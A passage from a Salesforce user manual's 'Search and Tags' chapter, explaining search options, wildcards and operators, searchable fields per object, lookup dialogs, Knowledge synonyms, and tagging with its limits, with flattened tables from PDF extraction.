3. Click Search. If you restrict your search scope, the scope you select appears under the search box on the Advanced Search Results page. Click Advanced Search under the search box to change your search scope again.

See Also:
How Search Works Searching in Salesforce.com Search Results

Changing Global Search Options


Available in: All Editions except Database.com

1. Click Options... under the search box. Search options aren't available to Chatter Free users. 2. Refine your search results by: Choosing which objects to search In the Objects section, select the objects for which you want to return search results. If you don't select any objects, your search returns all possible objects. Select All or click Clear All to quickly select all or no objects. Note: When All is selected, the search results don't return article management and content records. You can search for these records on their respective tabs.

Searching only items you own In the More Options section, select Limit to items I own. Note: When Limit to items I own is selected, the search results don't return article, asset, idea, invoice, order, people, product, question, quote, and reply records because these records don't have owners.

Searching for an exact phrase In the More Options section, select Exact phrase. This is the same as using quotation marks around your search string.

321

Search and Tags

Refining Search

Searching within a division If you have the Affected by Divisions permission, specify which divisions you want to search. If your organization uses divisions but you don't have the Affected by Divisions permission, your search results include records in all divisions. 3. Click Search. The search options you select are saved until you change them. Click to clear your search terms.

Note: Chatter feed searches aren't limited to your selected search options; Chatter feed search results include matches across all objects.

See Also:
How Search Works Searching in Salesforce.com Search Results

Refining Search Using Wildcards


Available in: All Editions except Database.com

Wildcards Wildcard * (asterisk) Description Asterisks match one or more characters at the middle or end (not the beginning) of your search term. For example, a search for john* finds items that start with variations on the term john, such as, johnson or johnny. A search for mi* meyers finds items with mike meyers or michael meyers. If you're using Sidebar Search, an * is automatically appended to the end of the search string. You can use an * at the beginning of a search term in a standard lookup search. Question marks match only one character in the middle or end (not the beginning) of your search term. For example, a search for jo?n finds items with the term john or joan but not jon or johan. If you're using Global Search, the ? is removed from the end of your search term and isn't treated as a wildcard. You can't use a ? in a lookup search.

? (question mark)

Wildcard Behavior and Limitations Wildcards take on the type of the preceding character. For example, aa*a matches aaaa and aabcda, but not aa2a or aa.!//a, and p?n matches pin and pan, but not p1n or p!n. Likewise, 1?3 matches 123 and 143, but not 1a3 or 1b3. You can't search for a ? or * in a search phrase that is enclosed in quotation marks or when Exact phrase is selected in the search scope because they function as wildcards. For example, "my wo?d" matches my wood and my word. You can't use wildcards in the middle of Chinese, Japanese, Korean, or Thai search terms.

322

Search and Tags

Refining Search

If you're entering search terms in Global Search, the search box drop-down list gives you the option to search for your term with an * added to the end. For example, type jo in the search box, then select Search for jo* (starts with) to find joan, john, johnson, and other matches that start with jo.

See Also:
How Search Works Searching in Salesforce.com Search Results

Refining Search Using Operators


Available in: All Editions except Database.com Operators not available in: Connect Offline

Sidebar and standard lookup search don't support the use of operators. Operators Operator AND Description Finds items that match all of the search terms. For example, acme AND california finds items with the word acme and the word california, but not items with only the word acme. Using AND is optional in most cases, because searching for acme california is the same as searching for acme AND california. However, when searching articles, documents, and solutions on their respective tabs, AND must be used because OR is the default operator for these objects on their tabs. OR AND NOT ( ) (parentheses) " " (quotation marks) Finds items with at least one of the search terms. For example, acme OR california finds items with either acme or california or both. Finds items that don't contain the search term. For example, acme AND NOT california finds items that have the word acme but not the word california. Group search terms together. Grouped search terms are evaluated before other search terms in your string. See Search Order on page 323. Find an exact phrase. Sidebar Search automatically places the quotation mark operators around any search string that you enter. This is the same as selecting Exact phrase in Advanced Search or Global Search. For example, a search for "monday meeting" finds items that contain monday meeting, but not items that contain monday afternoon meeting or monday's meeting. The asterisk (*) and question mark (?) function as wildcards when included in a search phrase that is enclosed in quotation marks or when Exact phrase is selected in the search scope.

Search Order When you combine multiple operators in a search string, they are evaluated in this order:

323

Search and Tags

Search Results

1. () (parentheses) 2. AND and AND NOT (evaluated from right to left) 3. OR These examples show how search strings are evaluated: Searching for... Is the same as... Finds items with the words...

acme AND california AND NOT acme AND (california AND NOT acme and california but not meeting meeting meeting) acme AND NOT california AND acme AND NOT (california AND acme but not with both california and meeting meeting meeting) acme AND california OR meeting acme AND (california OR meeting) (acme AND california) OR meeting acme AND (california OR meeting)

acme and california and items with the word meeting acme and california and items with the words acme and meeting

See Also:
How Search Works Searching in Salesforce.com Search Results

Search Results
Available in: All Editions except Database.com

The Search Results summary page displays results that you have permission to view, grouped by objects and tags.

324

Search and Tags

Search Results

From this page you can: 1. Click Chatter Updates at the top left of the page to see Chatter posts and comments that include your search terms. On the Chatter updates results page, save a topic or search result to your favorites on page 2194 on the Chatter tab by clicking Add to Chatter Favorites. 2. Quickly see which objects you searched and how many results you have. Objects with results appear in blue in alphabetical order. Click any object to see only that object's results. Objects you searched that have no results appear in gray in alphabetical order below those that do have results. Objects you didn't search are listed alphabetically in the Search More Objects section. Click any object in this list to do a one-time search of that object using your current search terms. If you search all objects, you don't see this section.

3. Use the search box in the page to search within your current view. For example, if you drill down to view Accounts and then decide to search Accounts for something different, enter your new search terms and click Search Accounts to search across all accounts. If you're currently viewing Records and you enter new search terms, click Search Again to search across all your selected objects. 4. See up to five results for each object you searched. Click a record result to open it or click Edit, if available. Filter your search results. Click Show More in any related list to see the full list of that object's results.

5. Change your search options by clicking Options... under the header search box or Edit next to Selected Objects on the left side of the page. Search options aren't available to Chatter Free users. 6. Drill down to a specific object's results, and then: Filter your search results. Customize columns in your search results. (Administrators only) Customize filters for all users' search results.

325

Search and Tags

Search Results

Click Records on the left side to return to the search results summary.

See Also:
Chatter Feed Search Results Search Overview How Search Works Searching in Salesforce.com Refining Search Field-Level Security Overview Browsing, Searching, and Managing Tags

Customizing Search Results Columns


Available in: All Editions except Database.com

For most objects, you can specify the enhanced lookup and search results columns and column order. 1. In the object's search results related list, click My Columns (Administrators click Customize > My Columns). 2. To choose columns, use Add and Remove. Your administrator determines the available columns in a search layout. If search layouts aren't available for the object, such as articles, dashboards, reports, and tags, you can't customize the columns. 3. To reorder columns, use Up and Down. 4. Click Save. 5. Click column headings to sort the results in ascending or descending order. Sorting applies across all search results for a particular object, including those on subsequent pages. You can't click on column headings for multi-select picklist fields because you can't sort the multi-select picklist field type.

See Also:
How Search Works Searching in Salesforce.com Refining Search Search Results

Filtering Search Results

326

Search and Tags

Search Results

Available in: All Editions except Database.com

To restrict search or enhanced lookups results for objects, you can use filters. Your administrator determines the available filter fields in a search layout. If your administrator didn't create a search layout for the object or if search layouts aren't available for the object, such as articles, dashboards, reports, and tags, you can't filter your results. Filters aren't available in Customer Portals or partner portals. Filtering Search Results for Most Objects 1. Click Show Filters in a search results related list. 2. Enter filter criteria using the following tips and click Apply Filters. When filtering search results, the operator is selected automatically based on the field type. The = (equals) operator is used for fields with the following types of fields: Dates Numbers, except auto number or phone fields Record IDs All other fields use the contains operator. Auto number and phone fields use the contains operator because they can contain non-numeric characters. Except for number fields, commas are used as OR operators in search results filters. For example, if you enter acme, california in the Account Name filter field, your results include account names with either acme or california. For number fields (where a comma can be part of a number) commas aren't treated as OR operators and users must explicitly enter the OR operator. Note: Explicitly using the OR operator is only supported in number fields.

The criteria you specify are AND based. That is, if you specify more than one criterion, the result includes only records that match all of the criteria. For example, if you enter acme california in the Account Name filter field, your results include account names with both acme and california. Any field of type URL is filtered based on the exact value that is entered by the user for that field. Tip: We recommend that you don't include http:// or https:// in URL filter criteria because you may not get the results that you expect. When you enter values in URL fields and save records, Salesforce adds http:// to any URL that doesnt start with http:// or https://. The added http:// isn't stored in the database. For example, if you enter salesforce.com in the Website field and save the record, the Website field displays http://salesforce.com, but the value stored is salesforce.com. Therefore, if you enter http://salesforce.com in the Website filter field, your results don't include your record.

You can enter special values for dates; see Special Date Values for Filter Criteria. If your organization uses multiple currencies, see Tips for Entering Filter Criteria on Multiple Currencies. If you perform a blank lookupthat is, you click the lookup icon without entering a search termfilters only apply to items in the most recently used list. Otherwise, filters apply to both this list and the resulting records of the lookup.

327

Search and Tags

Search Fields

Clearing and Hiding Filters Click Clear Filters to remove all filters and see unfiltered search results. Click Hide Filters to apply the filters but not display them on the page. Filtering Search Results for Articles, Files, Products, and Solutions To filter the results for articles, files, and products, and to further filter the results for solutions, click the link in the appropriate results related list. Your search and results automatically appear on the new page. If you filter the solutions results on the Search Results page and then use the link in the appropriate results related list to further filter your results, your filter options aren't applied on the new page.

See Also:
How Search Works Searching in Salesforce.com Refining Search Search Results

Search Fields
The types of records you can search vary according to which Edition you have.

You can search for information within any of the fields listed in the following tables. Search for articles; Chatter groups, files, and people; Salesforce CRM Content; documents; products; and solutions on their tabs or with Global Search (Sidebar Search and Advanced Search aren't designed to find these objects). Search for information in Chatter feeds using Global Search. Note: Users can search fields that are hidden from them by field-level security. When users search for a value in a field hidden to them, the search results include the record that contains the field, even though users can't see the field. Business Account Fields Person Account Fields Article Fields Asset Fields Attachment Fields Campaign Fields Case Fields Chatter Feed Fields Chatter Group Fields Contact Fields Salesforce CRM Content Fields Contract Fields Contract Line Item Fields Custom Object Fields

328

Search and Tags

Search Fields

Document Fields Entitlement Fields File Fields Idea Fields Lead Fields Note Fields Opportunity Fields People Fields Price Book and Product Fields Question Fields Quote Fields Report Fields Service Contract Fields Solution Fields Tags Task, Calendar Event, and Requested Meeting Fields User Fields Lookup Search Fields

Business Account Fields


Search Type Field Searched
Account Name Account Name (Local) Account Number Account Site Billing Address Description Fax Phone Shipping Address Ticker Symbol Website

Sidebar

Advanced

Global

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.)

329

Search and Tags

Search Fields

Search Type Field Searched All custom fields of type text, text area, long text area, rich text area, email, and phone Sidebar Advanced Global

Person Account Fields


Search Type Field Searched
Account Name Account Name (Local) Account Number Account Site Assistant Assistant Phone Billing Address Description Email Fax Home Phone Mailing Address Mobile Other Address Other Phone Shipping Address Ticker Symbol Title Website

Sidebar

Advanced

Global

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.)

330

Search and Tags

Search Fields

Search Type Field Searched All account and contact custom fields of type text, text area, long text area, rich text area, email, and phone Sidebar Advanced Global

Article Fields
Neither Sidebar Search nor Advanced Search are designed to find articles. To find an article, use Global Search or the search tools in the sidebar on the Articles tab. For more information, see Searching for Articles on page 2895. Search Type Field Searched All standard text fields
Body File

Sidebar

Advanced

Global

Articles Tab

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

Asset Fields
Search Type Field Searched
Asset Name Description Serial Number

Sidebar

Advanced

Global

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.)

331

Search and Tags

Search Fields

Search Type Field Searched All custom fields of type text, text area, long text area, rich text area, email, and phone Sidebar Advanced Global

Attachment Fields
Search Type Field Searched
File Name

Sidebar

Advanced

Global

Campaign Fields
Search Type Field Searched
Campaign Name Description

Sidebar

Advanced

Global

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

Case Fields
Search Type Field Searched
Case Comments Case Number

Sidebar

Advanced

Global

(You don't need to enter leading zeros.)


Description Subject

332

Search and Tags

Search Fields

Search Type Field Searched


Web Company (of person who

Sidebar

Advanced

Global

submitted the case online)


Web Email (of person who

submitted the case online)


Web Name (of person who

submitted the case online)


Web Phone (of person who

submitted the case online) All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

Chatter Feed Fields


Neither Sidebar Search nor Advanced Search are designed to find information in Chatter feeds. To find information in a feed, use Global Search. For more information, see Searching in Chatter on page 2192. Search Type Field Searched
@Name (where Name is a user

Sidebar

Advanced

Global

namefor example, @Madison Rigsby)


Comment Body Parent Record Name Post Body Poster Name

Chatter Group Fields


Neither Sidebar Search nor Advanced Search are designed to find Chatter groups. To find a Chatter group, use Global Search or the search tools on the Groups tab. For more information, see Searching in Chatter on page 2192.

333

Search and Tags

Search Fields

Search Type Field Searched


Description Group Name

Sidebar

Advanced

Global

Groups Tab

Contact Fields
Search Type Field Searched
Assistant Asst. Phone Department Description Email Fax First Name First Name (Local) Home Phone Last Name Last Name (Local) Mailing Address Mobile Other Address Other Phone Phone Title

Sidebar

Advanced

Global

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

334

Search and Tags

Search Fields

Salesforce CRM Content Fields


Neither Sidebar Search nor Advanced Search are designed to find content. To find content, use Global Search (results appear as files) or the search tools on the Content tab. For more information, see Searching for Files on page 2176 and Searching for Content on page 281.

Contract Fields
Search Type Field Searched
Billing Address Contract Name Contract Number Description Shipping Address Special Terms

Sidebar

Advanced

Global

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

Contract Line Item Fields


Search Type Field Searched
Description Name

Sidebar

Advanced

Global

Custom Object Fields


Search Type Field Searched
Name

Sidebar

Advanced

Global

All custom auto-number fields and custom fields that are set as an external ID

335

Search and Tags

Search Fields

Search Type Field Searched (You don't need to enter leading zeros.) All custom fields of type email and phone All custom fields of type text, text area, long text area, and rich text area Sidebar Advanced Global

Document Fields
Neither Sidebar Search nor Advanced Search are designed to find documents. To find a document, use Global Search or the Find Document button on the Documents tab. For more information, see Searching for Documents on page 225.

Entitlement Fields
Search Type Field Searched
Name

Sidebar

Advanced

Global

File Fields
Neither Sidebar Search nor Advanced Search are designed to find files. To find a file, use Global Search or the search tools on the Files tab. For more information, see Searching for Files on page 2176. Search Type Field Searched
Body Description Extension (such as

Sidebar

Advanced

Global

Files Tab

ppt)
Name Owner

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.)

336

Search and Tags

Search Fields

Search Type Field Searched All custom fields of type text, text area, long text area, rich text area, email, and phone Sidebar Advanced Global Files Tab

Idea Fields
Search Type Field Searched
Comment Description Title

Sidebar

Advanced

Global

Lead Fields
Search Type Field Searched
Address Company Description Email Fax First Name First Name (Local) Last Name Last Name (Local) Mobile Phone Title

Sidebar

Advanced

Global

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.)

337

Search and Tags

Search Fields

Search Type Field Searched All custom fields of type text, text area, long text area, rich text area, email, and phone Sidebar Advanced Global

Note Fields
Search Type Field Searched
Body Title

Sidebar

Advanced

Global

Opportunity Fields
Search Type Field Searched
Description Opportunity Name

Sidebar

Advanced

Global

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

People Fields
Neither Sidebar Search nor Advanced Search are designed to find people; however, Sidebar Search and Advanced Search can be used to find users. See User Fields. To find people, use Global Search or the search tools on the People tab. For more information, see Searching in Chatter on page 2192. Search Type Field Searched
About Me Email

Sidebar

Advanced

Global

People Tab

338

Search and Tags

Search Fields

Search Type Field Searched


First Name Last Name Name Nickname Phone Record ID (15

Sidebar

Advanced

Global

People Tab

character Record ID only)


Username

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

Price Book and Product Fields


Neither Sidebar Search nor Advanced Search are designed to find price books or products. To find a price book or product, use Global Search or the Price Books and Find Products areas on the Products tab. For more information, see Searching for Price Books and Products on page 2340.

Question Fields
The Answers tab in Salesforce lists all the questions posted to an answers community. Search Type Field Searched
Question Body Question Title Reply Body

Sidebar

Advanced

Global

339

Search and Tags

Search Fields

Quote Fields
Search Type Field Searched
Quote Name Quote Number

Sidebar

Advanced

Global

Report Fields
Search Type Field Searched
Description Report Name

Sidebar

Advanced

Global

Service Contract Fields


Search Type Field Searched
Contract Number Description Name Special Terms

Sidebar

Advanced

Global

Solution Fields
Neither Sidebar Search nor Advanced Search are designed to find solutions. To find a solution, use Global Search or the Find Solution button on the Solutions tab. For more information, see Searching for Solutions on page 2866.

Tags
You can search for tags in Sidebar, Advanced, and Global Search.

Task, Calendar Event, and Requested Meeting Fields


Archived activities are accessible in Advanced Search only. Search Type Field Searched
Comments (task and events

Sidebar

Advanced

Global

only)
Subject

340

Search and Tags

Search Fields

Search Type Field Searched All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone Sidebar Advanced Global

User Fields
If you're using Chatter and searching for people, see People Fields. Search Type Field Searched
About Me Email First Name Last Name Name Nickname Phone Record ID (15 character

Sidebar

Advanced

Global

Record ID only)
Username

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

Lookup Search Fields


The lookup icon, which appears as a magnifying glass next to many fields, opens a dialog that allows you to search for other records. Below is the list of fields that are used for matching when searching in the standard or enhanced lookup dialog.

341

Search and Tags

Search Fields

Type of Record Account

Fields Searched
Account Name Account Name (Local)

Standard Lookups

Enhanced Lookups

Campaign Case Community Contact

Campaign Name Case Number Community Name First Name First Name (Local) Last Name Last Name (Local)

Contract

Contract Name Contract Number

Discussion Document

Title Document Name Keywords

Idea Lead

Title Company Company (Local) Name Name (Local)

Opportunity

Account Name Opportunity Name

Product

Product Code Product Name

Self-Service User

First Name Last Name

Solution User Note: Only active users are searchable.

Solution Title First Name Last Name Name

342

Search and Tags

Lookup Dialog Search

Type of Record Custom Objects

Fields Searched
Name

Standard Lookups

Enhanced Lookups

See Also:
Field-Level Security Overview Search Overview How Search Works Searching in Salesforce.com

Lookup Dialog Search


Available in: All Editions

Salesforce objects often include lookup fields that allow users to associate two records together in a relationship. For example, a contact record includes an Account lookup field that represents the relationship between the contact and its associated organization. The object that contains the lookup field is the source object, while the object the lookup points to is the target object. Lookup fields appear with the button on record edit pages. Clicking opens a lookup search dialog that allows the user to search for the record that should be associated with the one being edited. A blank lookup is performed when you click the lookup icon without entering a search term. Salesforce provides two types of lookups. Standard Lookups By default, all lookups behave as standard lookups. When searching for records with a standard lookup, only the fields listed in Lookup Search Fields are queried. Standard lookups return up to 50 records at a time in alphabetical order and don't allow for sorting, filtering, or customizable columns. Enhanced Lookups If enabled by your administrator, account, contact, user, and custom object lookups can behave as enhanced lookups. Enhanced lookups update standard lookup fields with the following functionality: Enhanced lookup search queries are broken into separate search terms at any split between alphabetic, numeric, and special characters. For example, if you enter ALL4ONE in an enhanced lookup field, the resulting query searches for ALL and 4 and ONE. Consequently, entering ALL the 4 and ONE returns ALL4ONE. Also, searching for S& returns fields containing both S& and &S. Enhanced lookups allow users to sort and filter search results by any field that is available in regular search results. Users can also hide and reorganize the columns that are displayed in the results window. Note: In addition to user-controlled filters, administrators can create lookup filters on relationship fields that limit the valid values and lookup dialog results for the field.

343

Search and Tags

Lookup Dialog Search

Enhanced lookups return all records that match your search criteria and allow you to page through large sets of search results. In enhanced lookups, you can use wildcards in your search terms; however, the wildcard can't be the first character in the search term or phrase.

When you click a standard or enhanced lookup icon before entering anything in the lookup field, a list of all recently used records displays. However, for standard lookups of products and queues, the dialog shows an alphabetical listing of the first 50 records. For standard lookups of campaigns, the dialog shows the first 100 active campaigns. For the asset standard lookup on a case, the dialog shows all the assets tied to the contact on the case, if any. If you click the standard or enhanced lookup icon next to a field that is populated with a string, the string value is used as the search query. For standard or enhanced lookups of users, the dialog shows a list of recently accessed user records from across your organization. If you perform a blank lookupthat is, you click the lookup icon without entering a search termfilters only apply to items in the most recently used list. Otherwise, filters apply to both this list and the resulting records of the lookup. Note: Only active users are searchable, except in the lookup for mass transfers, where inactive users are also searchable.

Lookup Auto-Completion
If enabled by your administrator, both standard lookups and enhanced lookups can display a dynamic list of matching recently used records when a lookup field is edited. This list is restricted to objects of the appropriate type and, with the exception of lookups of users, is populated from recently used items. For example, while editing an Account lookup, you can see recently used accounts with names that match the prefix you have entered. Recently used contacts don't appear in this list. Lookup auto-completion is subject to the following restrictions: You must have recently visited records of the appropriate type for the lookup's auto-completion list to be populated. You must be editing the lookup field on a record's edit page.

Tips for Using Standard and Enhanced Lookups


Consider these tips when using standard and enhanced lookups. To improve standard lookup dialog search results, use an asterisk (*) wildcard within your search string. For example, searching for com* finds items with com at the beginning of any word in the search string, such as commerce, community, and edge communications. When you use wildcards to search enhanced lookup fields, be aware that the results may include more records than you expect if your search term includes combinations of letters, numbers, and special characters. If you enter a value into the lookup text box and save the record without clicking the lookup icon ( ), Salesforce automatically performs a search and assigns the result to the lookup field. If more than one result is found, Salesforce displays a drop-down list of the matching options. If no results match the text you entered, an error displays instead. A wildcard is automatically appended to each of your search terms. For example, searching for bob jo returns items with bob jones, bobby jones, or bob johnson. To search for contacts, leads, users, or other individuals that include spaces in the First Name or Last Name fields, enter quotes around the terms. For example, to search for bob von hausen, enter "bob von hausen". In organizations where the Salesforce Customer Portal or partner portal is enabled, you can filter the results that appear on the user lookup dialog by selecting either a queue or group of users from the Owner or Assigned To drop-down list.

344

Search and Tags

How Salesforce Knowledge Synonyms Work in Searches

If your organization uses divisions and you have the Affected by Divisions permission, your lookup dialog search results include records in the division you select in the lookup dialog window.

See Also:
Configuring Lookups Search Overview

How Salesforce Knowledge Synonyms Work in Searches


Available in: Enterprise, Unlimited, and Developer Editions

Salesforce Knowledge synonyms affect search behavior in the following ways: Priority If a search term is part of a synonym group, the search results list items that contain the search term, followed by items that contain other terms in the synonym group. For example, if this synonym group is defined: fruit, oranges Then a search for oranges matches a list of items containing oranges, followed by items containing fruit. Note: In the Article Management tab, if you sort the list by clicking a column header, the sort order, not priority, persists in the current and additional searches.

Wildcards If a wildcard is used in a search, the wildcard expands the search term, but the search doesn't match any synonyms, even if the search phrase contains a defined synonym. For example, if these synonym groups are defined: fruit, oranges, apples cabbage, lettuce Then a search for orang* lettuce matches items that contain orange and oranges, but doesn't match items that contain fruit, apples, and cabbage. Operators If a search operatorand, or, or and notis part of a defined synonym and that synonym is used as a search phrase, the search treats the phrase as a literal string and doesn't use the operator. An operator is valid if the search phrase is not a defined synonym. For example, if this synonym group is defined: fruit, oranges and apples

345

Search and Tags

How Salesforce Knowledge Synonyms Work in Searches

Then a search for oranges and apples matches items that contain the exact phrase oranges and apples and the word fruit. Exact phrase matches If an exact phrase contains a defined synonym as well as other text, the search doesn't treat the phrase as a synonym. For example, if this synonym group is defined: oranges apples, fruit Then an exact phrase search for raspberries oranges apples doesn't match items that contain the word fruit. Stemming A synonym is not stemmed in search results; rather, it is matched as an exact phrase. However, the search term is stemmed. For example, if this synonym group is defined: quench, drink orange juice Then a search for quench matches items that contain quench, quenched, quenching, and drink orange juice, but doesn't match items that contain drinking orange juice. Ignored words Words that are normally ignored in searches, such as the, to, and for, are matched if the word is part of a defined synonym. For example, if this synonym group is defined: peel the orange, cut the apple Then a search for peel the orange matches items that contain the exact string peel the orange. Overlapping synonyms If a search term consists of overlapping synonyms from different groups, the search matches synonyms in all of the overlapping synonym groups. For example, if these synonym groups are defined: orange marmalade, citrus marmalade recipe, sugar

Then a search for orange marmalade recipe matches items that contain orange marmalade, citrus, marmalade recipe, and sugar. Subsets If one synonym group includes a synonym that is a subset of a synonym in another group, a search for the subset term doesn't match items that contain synonyms from the subset synonym group. For example, if these synonym groups are defined: orange, apple orange marmalade, citrus marmalade, jam

346

Search and Tags

Tags Overview

Then a search for orange marmalade matches items that contain orange marmalade and citrus, but doesn't match items that contain apple, jam, only marmalade, and only orange.

See Also:
Searching for Articles

Tags Overview
Available in: All Editions except Database.com

Tags are words or short phrases that you can associate with most Salesforce records to describe and organize their data in a personalized way. Use tags to group records from various objects by a common topic or use, and then use those tags in search to make finding information fast and intuitive. For example, if you met a number of contacts and leads at a conference, you might tag them all with the phrase User Conference 2011. You could then search for the User Conference 2011 tag and click that tag in search results to retrieve those records. Salesforce supports two types of tags. Personal tags are private. Only you can view any personal tags that you add to a record. Public tags are shared among all users in an organization. Any user with access to the record can view the public tags that you add.

Administrators can enable personal and public tags for accounts, activities, assets, campaigns, cases, contacts, contracts, dashboards, documents, events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except relationship group members), allowing you to: Tag records Remove tags from a record Browse, search, and manage tags

See Also:
Tags Limits Tags Settings Using the Tags Sidebar Component Search Overview

Tagging Records

347

Search and Tags

Tags Overview

Available in: All Editions except Database.com

User Permissions Needed To edit tags on a record: Read on the record

1. On the top right corner of the record detail page, click Add Tags. If the record already has associated tags, click Edit Tags. 2. In the Personal Tags or Public Tags text boxes, enter comma-separated lists of the tags that you want to associate with the record. Tags can only contain letters, numbers, spaces, dashes, and underscores, and must contain at least one letter or number. As you enter new tags, up to 10 tags that have already been defined are displayed as auto-complete suggestions. As you type, the list of suggestions changes to show only those tags that match the prefix you have entered. To choose a suggestion, click it or use your keyboard arrow keys to select it and press the TAB or ENTER key. 3. Click Save. Tip: When you create or edit tags, you can press the ENTER key to save your changes or the ESC key to discard them.

Note: You and your organization are subject to limits on the number of personal and public tags that you can create and apply to records. If you attempt to tag a record with a new tag that exceeds one or more of these limits, the tag isn't saved. If this occurs, you can delete infrequently used tags from the Tags page. See Browsing, Searching, and Managing Tags on page 349.

See Also:
Using the Tags Sidebar Component Removing Tags from Records

Removing Tags from Records


Available in: All Editions except Database.com

User Permissions Needed To edit tags on a record: Read on the record

1. On the top right corner of the record detail page, click Edit Tags. 2. Next to the Personal Tags or Public Tags text boxes, click [X] next to the tag that you want to remove. 3. Click Save.

348

Search and Tags

Tags Overview

Tip: When you create or edit tags, you can press the ENTER key to save your changes or the ESC key to discard them.

If the tag that you removed is the last instance of the tag, the tag is deleted from your organization completely. If other records use the tag, the tag still appears in search results and the Tags page.

See Also:
Tagging Records

Browsing, Searching, and Managing Tags


Available in: All Editions except Database.com

To access the Tags page, click the name of any tag on a detail page, or if your administrator added tags to the sidebar, click Tags in the sidebar. From this page, you can: View and browse tags Find records with tags Search tags Rename and delete tags Review personal tag statistics

Viewing and Browsing Tags Use the Personal Tags and Public Tags checkboxes to limit or expand your view. Because personal tags are private, you can only see the personal tags that you have defined. You can see all public tags that are defined in your organization. Click a letter at the top of the tag browsing area to view only tags that begin with that letter or click Next Page or Previous Page. By default, tags are listed in alphabetical order. From the Sort picklist, choose By Number of Uses to sort tags by the number of records that are tagged by them, or choose By Most Recently Used to sort tags by how recently they were added to a record. Finding Records with Tags Click a tag to see the list of records organized by object. The number of records associated with the tag is displayed next to the tag. You can narrow your results further by clicking additional tags. When more than one tag is selected, only records that match all selected tags are displayed in the list of results. Click [X] next to a tag to deselect it and remove it from the filter. Click Clear Selected Tag(s) to deselect all tags and start over. Note: The number of records associated with a tag can sometimes be greater than the number of records displayed when you click that tag in the Tags page. This situation occurs if you tagged a record and then lost permission to view it because of a change in sharing, or if a record that you don't have access to has one or more public tags.

349

Search and Tags

Tags Overview

Search results and the Tags page don't display custom objects that don't have an associated tab, even if tags are enabled for the custom object. If you want custom object records to appear in search results or on the Tags page, you must create an associated tab. The tab doesn't have to be visible to users.

You can customize columns and filter the search results. See Search Results. Searching Tags Enter terms in the Search Tags text box and click Search. Only tags that meet your search criteria are listed in the tag browsing area. You can then click any tag to view records associated with that tag. Search strings must include at least two characters and can include wildcards and operators. The most recent search result is saved in the tag browsing area next to the alphabet at the top of the page. Click the search string to return to your results. Renaming and Deleting Tags User Permissions Needed To rename or delete public tags: Tag Manager

To rename a tag, hover over the tag and select Rename from the drop-down list that appears around the tag. Enter a new name for the tag in the text box that appears and click Save. To delete a tag, hover over the tag and select Delete from the drop-down list that appears around the tag. The tag is removed from every record in your organization and is placed in the Recycle Bin. If you restore a tag from the Recycle Bin, it is automatically reassociated with the records from which it was removed. For more information, see Recycle Bin on page 54.

You can rename or delete any personal tag, but you must have the Tag Manager permission to rename or delete a public tag. Reviewing Personal Tag Statistics Click Personal Tag Usage on the right side. This page displays your current number of unique personal tags and personal tag applications. You can have a maximum of: 500 unique personal tags 5,000 instances of personal tags applied to records

If you are approaching your personal tag limits, consider merging similar tags into a single tag by renaming. For example, if you have tags for Bicycling, Cycling, and Biking, you can rename Cycling and Biking to Bicycling to reduce your number of unique personal tags. To reduce the number of instances of tags applied to records, delete personal tags that you no longer use.

See Also:
Tagging Records Tags Limits Using the Tags Sidebar Component Search Overview

350

Search and Tags

Browsing and Searching Setup

Tags Limits
Available in: All Editions except Database.com

You can have a maximum of: 500 unique personal tags 5,000 instances of personal tags applied to records

Across all users, your organization can have a maximum of: 1,000 unique public tags 50,000 instances of public tags applied to records 5,000,000 instances of personal and public tags applied to records

See Also:
Tags Overview Tagging Records Removing Tags from Records Browsing, Searching, and Managing Tags Deleting Personal Tags for Deactivated Users

Browsing and Searching Setup


Available in: All Editions

User Permissions Needed To view setup pages: View Setup and Configuration

The sidebar in setup includes a search box for browsing and quickly finding setup tools. In the left pane of any setup page, you can: Type the first few characters of a setting name in the Quick Find box. As you type, items that match your search terms appear in the menu. Click an item in the list to go to its setup page. For example, to quickly find the user profiles page, type prof in the Quick Find box. Click Expand All to open all setup menus. If you have typed anything in the Quick Find box, only the menus with matching items are expanded. Click Collapse All to close all setup menus.

Quick Find only returns results from the setup menuit doesn't search records in your organization. To search for records, use Global Search, Sidebar Search, or Advanced Search. (These search features aren't available in Database.com.)

351

ADMINISTERING SALESFORCE

Setting Up Your Organization


The available setup options vary according to which Salesforce Edition you have.

Click Your Name > Setup > Administration Setup to open the Administration Setup page. It contains setup and customization options to help you set up your Salesforce organization. The sidebar includes tools for browsing and searching setup options.

Manage Users
Expand the Manage Users folder under Administration Setup to access the following options: Users Create, edit, and deactivate users (see also About Customer Portal User Management on page 1570). Mass Email Users Send an email to several of your users at once. Roles Define your organizations role hierarchy. Permission Sets Specify user permissions, object permissions, field permissions, and access to Apex classes, Visualforce pages, and service providers, without changing users' profiles. Profiles Specify user permissions, object permissions, tab visibility, field permissions, record types, page layouts, desktop clients, login settings, and access to Apex classes, Visualforce pages, and service providers. Public Groups Add, update, or delete public groups. Queues Add, update, or delete queues for cases, leads, and custom objects. Login History View when your users are logging in. Training History View which users have taken online training.

352

Administering Salesforce

Setting Up Your Organization

Company Profile
